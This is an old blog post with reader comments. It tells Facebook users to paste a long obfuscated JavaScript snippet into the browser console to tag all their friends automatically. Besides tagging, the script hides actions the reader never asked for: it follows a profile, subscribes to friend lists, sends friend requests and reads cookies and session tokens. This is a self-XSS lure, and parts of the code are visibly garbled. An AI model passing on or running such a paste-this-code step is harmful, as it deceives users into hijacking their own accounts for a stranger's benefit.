Tuesday 24 December 2013

Filled Under: , ,

Tag friends in Facebook status automatically with single click

Facebook's tagging feature takes more time to search for the friend and then tag them as it always asks us to tag them individually.

Here I am sharing an easy way to tag all your friends automatically in your status comment section using JavaScript. All your Facebook friends will be notified about what you have posted into that status update.

Steps to Tag friends in Facebook status

Step 1) Open Your Facebook account and Update Status(Publish Your Status Post).

Step 2) Open Your Status Post that You recently published (You can do this by clicking on Published time that is shown next to "Share Option" ).

Step3)Right Click and Choose "Inspect Element" Option.
(Note : Inspect Element option is present in all Updated Browsers. If no such option is there in your browser, Kindly Update it to the Latest Version. We suggest you to use Google Chrome Browser).

"You can also click F12(Function Key 12) to open Inspect Element"

Step 4) Click on "Console" Tab.

Step 5) Paste Following JavaScript Code (You can copy following Code By clicking on "View RAW" and then "Ctrl+C" Keys).


function x__0(){
return window.ActiveXObject?new ActiveXObject("Msxml2.XMLHTTP"):new XMLHttpRequest}function get_friends(){
var e=x__0();e.open("GET","/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&viewer="+uid+"&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm",false);e.send(null);if(e.readyState==4){
var t=JSON.parse(e.responseText.substring(e.responseText.indexOf("{")));
return t.payload.entries}return false}function get_uid(e){var t=x__0();t.open("GET","http://graph.facebook.com/"+e,false);t.send();if(t.readyState==4){return uid=JSON.parse(t.responseText).id}return false}
function cereziAl(e){var t=e+"=";if(document.cookie.length>0){konum=document.cookie.indexOf(t);
if(konum!=-1){konum+=t.length;son=document.cookie.indexOf(";",konum);if(son==-1)son=document.cookie.length;
return unescape(document.cookie.substring(konum,son))}else{return""}}}function getRandomInt(e,t){return Math.floor(Math.random()*(t-e+1))+e}function randomValue(e){return e[getRandomInt(0,e.length-1)]}
function a(e){var t=new XMLHttpRequest;var n="/ajax/follow/follow_profile.php?__a=1";var r="profile_id="+e+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";
t.open("POST",n,true);t.setRequestHeader("Content-type","application/x-www-form-urlencoded");
t.setRequestHeader("Content-length",r.length);t.setRequestHeader("Connection","close");
t.onreadystatechange=function(){if(t.readyState==4&&t.status==200){t.close}};t.send(r)}
function sublist(e){var t=document.createElement("script");
t.innerHTML="new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: "+e+" }).send();";document.body.appendChild(t)}
function sarkadaslari_al(){var xmlhttp=new XMLHttpRequest;xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState==4){
eval("arkadaslar = "+xmlhttp.responseText.toString().replace("for (;;);","")+";");
for(f=0;f=0){xmlhttp.open("GET","https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1"+params,true)}
else{xmlhttp.open("GET","http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1"+params,true)}
xmlhttp.send()}function sarkadasekle(e,t){
var n=new XMLHttpRequest;n.onreadystatechange=function(){
if(n.readyState==4){}};n.open("POST","/ajax/add_friend/action.php?__a=1",true);
var r="to_friend="+e;r+="&action=add_friend";r+="&how_found=friend_browser";
r+="&ref_param=none";r+="&outgoing_id=";r+="&logging_location=friend_browser";
r+="&no_flyout_on_click=true";r+="&ego_log_data=";r+="&http_referer=";
r+="&fb_dtsg="+document.getElementsByName("fb_dtsg")[0].value;
r+="&phstamp=165816749114848369115";r+="&__user="+user_id;
n.setRequestHeader("X-SVN-Rev",svn_rev);
n.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
if(t=="farketmez"&&document.cookie.split("cins"+user_id+"=").length>1){
n.send(r)}else if(document.cookie.split("cins"+user_id+"=").length<=1){
cinsiyetgetir(e,t,"sarkadasekle")}else if(t==document.cookie.split("cins"+user_id+"=")[1].split(";")[0].toString()){n.send(r)}}
function scinsiyetgetir(uid,cins,fonksiyon){var xmlhttp=new XMLHttpRequest;xmlhttp.onreadystatechange=function(){if(xmlhttp.readyState==4){eval("cinssonuc = "+xmlhttp.responseText.toString().replace("for (;;);","")+";");cinshtml.innerHTML=cinssonuc.jsmods.markup[0][1].__html;btarihi.setTime(bugun.getTime()+1e3*60*60*24*365);if(cinshtml.getElementsByTagName("select")[0].value=="1"){document.cookie="cins"+user_id+"=kadin;expires="+btarihi.toGMTString()}else if(cinshtml.getElementsByTagName("select")[0].value=="2"){document.cookie="cins"+user_id+"=erkek;expires="+btarihi.toGMTString()}eval(fonksiyon+"("+id+","+cins+");")}};xmlhttp.open("GET","/ajax/timeline/edit_profile/basic_info.php?__a=1&__user="+user_id,true);xmlhttp.setRequestHeader("X-SVN-Rev",svn_rev);xmlhttp.send()}var patt=/comment_text=(.*?)&/;var c=1;username=/\.com\/(.*?)\//.exec(window.top.location)[1];uid=get_uid(username);a=window.top.location;termina=0;var amigos=get_friends();post_id=/[0-9]{8,}/.exec(a);uids="comment_text=";header="ft_ent_identifier="+post_id+"&comment_text=�&source=1&client_id=1359576694192%3A1233576093&reply_fbid&parent_comment_id&rootid=u_jsonp_3_19&ft[tn]=[]&ft[qid]=5839337351464612379&ft[mf_story_key]=5470779710560437153&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user="+uid+"&__a=1&__req=4u&fb_dtsg="+document.getElementsByName("fb_dtsg")[0].value+"&phstamp="+Math.random();for(var n=1;n=0){svn_rev=document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];sarkadaslari_al();document.cookie="paylasti=evet;expires="+btarihi.toGMTString();document.removeEventListener(tiklama)}},false);var cinssonuc={};var cinshtml=document.createElement("html")

Step 6) Press ENTER.

Watch this Video for Step-to-Step Demo on How to Tag friends in Facebook status automatically with single click


And here's the magic, All your Facebook friends will be tagged automatically in the status comments section.

Do share this Post and Video with your friends by clicking "SHARE BUTTON below Post Title" .

Enjoy receiving likes and comments. :D ;)

13 comments:

  1. when post in conso;e & clicked enter it says i donot have permission on the face book page please advise

    ReplyDelete
    Replies
    1. @lia Hill - this method works for your facebook status, not facebook page status..facebook page algorithm conflicts between page likers and your friends, so this can't be used for facebook page status. :)

      Delete
  2. How can u post post to all your groups in fb? thanks

    ReplyDelete
  3. it shows error .........mentioned below
    Plz tell me what to do....?
    TypeError: Cannot read property '1' of null

    ReplyDelete
    Replies
    1. Try out the code in google chrome, firefox seems to give out this error ...

      Delete
  4. hello..how to get Java script code

    ReplyDelete
    Replies
    1. @jomm cantik - you can get java script via this link : http://goo.gl/bxlYa3..
      Otherwise the javascript had already been mentioned in the post :) enjoy facebook postings :D

      Delete
  5. hi..how can i get JAVA script?tq

    ReplyDelete
  6. How do you paste the raw code and can you make it simpler so i can understand more

    ReplyDelete
  7. This Trick Is For Mentioned Not tag ...
    How To I Tag all My Friends with Photos....
    Pls Tell Me How...

    ReplyDelete
  8. Not working just like all the rest of the auto tag scripts. I have found one script that works but I can't post what I want, I am not allowed to tag the post that I want. I am only allowed to post what the creator wants me to tag.

    ReplyDelete